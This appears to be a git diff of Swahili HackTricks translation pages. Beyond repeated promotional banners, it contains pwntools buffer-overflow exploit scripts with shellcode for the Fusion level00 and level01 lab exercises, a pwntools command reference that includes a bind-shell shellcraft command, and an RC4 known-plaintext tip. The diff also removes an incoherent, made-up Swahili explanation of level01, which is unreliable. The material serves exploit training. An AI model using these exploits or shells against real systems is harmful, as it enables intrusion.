* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -1,21 +1,22 @@
|
|||
{% hint style="success" %}
|
||||
Jifunze na zoezi la Kuvamia AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoezi la Kuvamia GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka mwanzo hadi kuwa bingwa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS wa HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
Ikiwa kwa namna fulani unaweza kusimbua maandishi wazi kwa kutumia RC4, unaweza kusimbua yaliyosimbwa na RC4 (kwa kutumia nenosiri lile lile) kwa kutumia tu kazi ya kusimbua.
|
||||
Ikiwa unaweza kwa namna fulani kusimbua maandishi wazi kwa kutumia RC4, unaweza kusimbua yaliyomo yoyote iliyosimbwa na RC4 hiyo (ukiitumia nenosiri lilelile) kwa kutumia tu kazi ya kusimbua.
|
||||
|
||||
Ikiwa unaweza kusimbua maandishi wazi yanayojulikana, unaweza pia kusimbua nenosiri. Marejeo zaidi yanaweza kupatikana kwenye mashine ya HTB Kryptos:
|
||||
Ikiwa unaweza kusimbua maandishi wazi yaliyofahamika unaweza pia kutoa nenosiri. Marejeo zaidi yanaweza kupatikana kwenye mashine ya HTB Kryptos:
|
||||
|
||||
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
|
||||
|
||||
|
|
@ -25,16 +26,17 @@ Ikiwa unaweza kusimbua maandishi wazi yanayojulikana, unaweza pia kusimbua nenos
|
|||
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoezi la Kuvamia AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoezi la Kuvamia GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka mwanzo hadi kuwa bingwa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS wa HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,33 +1,35 @@
|
|||
# Mianya ya Barua pepe Zenye Udhaifu
|
||||
# Udhaifu wa Barua pepe
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoezi la Udukuzi wa AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks kwa Wataalam wa Timu Nyekundu ya AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoezi la Udukuzi wa GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks kwa Wataalam wa Timu Nyekundu ya GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka mwanzo hadi kuwa bingwa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>unga mkono HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
##
|
||||
|
||||
##
|
||||
##
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoezi la Udukuzi wa AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks kwa Wataalam wa Timu Nyekundu ya AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoezi la Udukuzi wa GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks kwa Wataalam wa Timu Nyekundu ya GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka mwanzo hadi kuwa bingwa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>unga mkono HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,23 +1,24 @@
|
|||
{% hint style="success" %}
|
||||
Jifunze na zoea AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Timu Nyekundu Mtaalam (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoea GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Timu Nyekundu Mtaalam (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# Level00
|
||||
|
||||
[http://exploit-exercises.lains.space/fusion/level00/](http://exploit-exercises.lains.space/fusion/level00/)
|
||||
|
||||
1. Pata kigeuzi cha kubadilisha EIP
|
||||
1. Pata offset ya kurekebisha EIP
|
||||
2. Weka anwani ya shellcode kwenye EIP
|
||||
```python
|
||||
from pwn import *
|
||||
|
|
@ -45,30 +46,6 @@ r.send(buf)
|
|||
r.interactive()
|
||||
```
|
||||
# Level01
|
||||
|
||||
## Maelezo
|
||||
|
||||
Katika kiwango hiki, tunatafuta njia ya kufanya uharibifu wa kudhibiti kwenye mfumo wa Fusion. Tunapata faili ya `level01` ambayo inaonekana kuwa na leseni ya programu. Tunahitaji kuchunguza faili hii ili kupata habari yoyote muhimu ambayo inaweza kutusaidia kudhibiti mfumo.
|
||||
|
||||
## Uchunguzi wa Awali
|
||||
|
||||
Tunapoangalia faili ya `level01`, tunagundua kuwa ni faili ya taratibu ya Shell. Tunaweza kuitumia kwa kuzindua amri za Shell kwenye mfumo. Kwa hivyo, tunaweza kujaribu kuzindua amri za Shell kwa kutumia faili hii.
|
||||
|
||||
## Kuzindua Amri za Shell
|
||||
|
||||
Tunaweza kuzindua amri za Shell kwa kutumia faili ya `level01`. Tunatumia amri ifuatayo:
|
||||
|
||||
```bash
|
||||
./level01
|
||||
```
|
||||
|
||||
## Kudhibiti Mfumo
|
||||
|
||||
Baada ya kuzindua amri za Shell, tunaweza kuanza kuchunguza mfumo na kujaribu kudhibiti. Tunaweza kutumia amri za Shell kama `ls`, `cat`, `grep`, nk. ili kupata habari muhimu na kuchunguza faili na directories kwenye mfumo.
|
||||
|
||||
## Hitimisho
|
||||
|
||||
Kwa kutumia faili ya `level01`, tunaweza kuzindua amri za Shell na kuchunguza mfumo wa Fusion. Hii inatuwezesha kupata habari muhimu na kujaribu kudhibiti mfumo.
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
|
@ -94,16 +71,17 @@ buf += "\x65\xd9\x0f\x01"
|
|||
r.send(buf)
|
||||
r.interactive()
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoea AWS Hacking: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Timu Nyekundu Mtaalam (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoea GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Timu Nyekundu Mtaalam (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>unga mkono HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa michango**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,16 +1,17 @@
|
|||
{% hint style="success" %}
|
||||
Jifunze na zoea AWS Hacking: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoea GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>unga mkono HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa michango**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
```
|
||||
pip3 install pwntools
|
||||
```
|
||||
|
|
@ -23,14 +24,14 @@ pwn asm -i <filepath>
|
|||
```
|
||||
**Inaweza kuchagua:**
|
||||
|
||||
* Aina ya matokeo (safi, hex, herufi, elf)
|
||||
* Muktadha wa faili ya matokeo (16, 32, 64, linux, windows...)
|
||||
* Kuepuka baitsi (mistari mpya, null, orodha)
|
||||
* Chagua kificho cha kurekebisha kwa kutumia gdb kukimbia matokeo
|
||||
* aina ya matokeo (raw, hex, string, elf)
|
||||
* muktadha wa faili ya matokeo (16, 32, 64, linux, windows...)
|
||||
* epuka herufi (mistari mipya, null, orodha)
|
||||
* chagua kifaa cha kuhifadhi kificho cha kuhakiki kutumia gdb endesha matokeo
|
||||
|
||||
# **Pwn checksec**
|
||||
# **Pwn angalia usalama**
|
||||
|
||||
Hakiki skripti
|
||||
Skripti ya angalia usalama
|
||||
```
|
||||
pwn checksec <executable>
|
||||
```
|
||||
|
|
@ -43,16 +44,16 @@ Pata mfano
|
|||
pwn cyclic 3000
|
||||
pwn cyclic -l faad
|
||||
```
|
||||
**Inaweza kuchaguliwa:**
|
||||
**Inaweza kuchagua:**
|
||||
|
||||
* Alfabeti iliyotumiwa (kwa chaguo-msingi ni herufi ndogo)
|
||||
* Urefu wa muundo usio na kifani (chaguo-msingi ni 4)
|
||||
* Alfabeti iliyotumiwa (herufi ndogo kwa chaguo-msingi)
|
||||
* Urefu wa mfano wa kipekee (chaguo-msingi ni 4)
|
||||
* Muktadha (16,32,64,linux,windows...)
|
||||
* Chukua kigeuzi (-l)
|
||||
* Chukua mbali (l)
|
||||
|
||||
# Pwn debug
|
||||
|
||||
Ambatisha GDB kwenye mchakato
|
||||
Ambatanisha GDB kwa mchakato
|
||||
```
|
||||
pwn debug --exec /bin/bash
|
||||
pwn debug --pid 1234
|
||||
|
|
@ -60,19 +61,15 @@ pwn debug --process bash
|
|||
```
|
||||
**Inaweza kuchagua:**
|
||||
|
||||
* Kwa kutumia faili ya kutekelezwa, kwa jina au kwa muktadha wa pid (16,32,64,linux,windows...)
|
||||
* Kwa executable, kwa jina au kwa muktadha wa pid (16,32,64,linux,windows...)
|
||||
* gdbscript ya kutekeleza
|
||||
* sysrootpath
|
||||
|
||||
# Pwn disablenx
|
||||
|
||||
Zima nx ya faili ya kutekelezwa
|
||||
* njia ya sysroot
|
||||
```
|
||||
pwn disablenx <filepath>
|
||||
```
|
||||
# Pwn disasm
|
||||
|
||||
Disasisha nambari za hex opcodes
|
||||
Unachambua codes za hex opcodes
|
||||
```
|
||||
pwn disasm ffe4
|
||||
```
|
||||
|
|
@ -102,9 +99,9 @@ pwn phd <file>
|
|||
```
|
||||
**Inaweza kuchagua:**
|
||||
|
||||
* Idadi ya herufi za kuonyesha
|
||||
* Idadi ya herufi kwa kila mstari kuonyesha herufi
|
||||
* Kuruka herufi mwanzoni
|
||||
* Idadi ya baits za kuonyesha
|
||||
* Idadi ya baits kwa kila mstari kuonyesha bait
|
||||
* Ruka baits mwanzoni
|
||||
|
||||
# Pwn pwnstrip
|
||||
|
||||
|
|
@ -122,18 +119,18 @@ pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port
|
|||
```
|
||||
**Inaweza kuchagua:**
|
||||
|
||||
* Shellcode na hoja za shellcode
|
||||
* Faili ya matokeo
|
||||
* Muundo wa matokeo
|
||||
* Kurekebisha (unganisha dbg kwenye shellcode)
|
||||
* Kabla (kizuizi cha kurekebisha kabla ya nambari)
|
||||
* Baada
|
||||
* Epuka kutumia opcodes (chaguo-msingi: sio tupu na mstari mpya)
|
||||
* Chalisha shellcode
|
||||
* shellcode na hoja za shellcode
|
||||
* Faili ya nje
|
||||
* muundo wa matokeo
|
||||
* debug (ambatanisha dbg na shellcode)
|
||||
* kabla (kizuizi cha debug kabla ya nambari)
|
||||
* baada ya
|
||||
* epuka kutumia opcodes (chaguo-msingi: sio null na mstari mpya)
|
||||
* Tekeleza shellcode
|
||||
* Rangi/bila rangi
|
||||
* Orodhesha syscalls
|
||||
* Orodhesha shellcodes inayowezekana
|
||||
* Jenga ELF kama maktaba iliyoshirikiwa
|
||||
* orodha ya syscalls
|
||||
* orodha ya shellcodes inayowezekana
|
||||
* Zalisha ELF kama maktaba iliyoshirikiwa
|
||||
|
||||
# Kigezo cha Pwn
|
||||
|
||||
|
|
@ -145,26 +142,27 @@ pwn template
|
|||
|
||||
# Pwn unhex
|
||||
|
||||
Kutoka hex hadi herufi
|
||||
Kutoka hex hadi string
|
||||
```
|
||||
pwn unhex 686f6c61
|
||||
```
|
||||
# Pwn Sasisho
|
||||
# Sasisha Pwn
|
||||
|
||||
Kuongeza sasisho la pwntools
|
||||
Ili kusasisha pwntools
|
||||
```
|
||||
pwn update
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoea AWS Hacking: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks kwa Wataalam wa Timu Nyekundu ya AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoea GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks kwa Wataalam wa Timu Nyekundu ya GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>unga mkono HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,30 +1,31 @@
|
|||
# Kudukiza Windows (Mwongozo wa Msingi - OSCP lvl)
|
||||
# Kudukua Windows (Mwongozo wa Msingi - kiwango cha OSCP)
|
||||
|
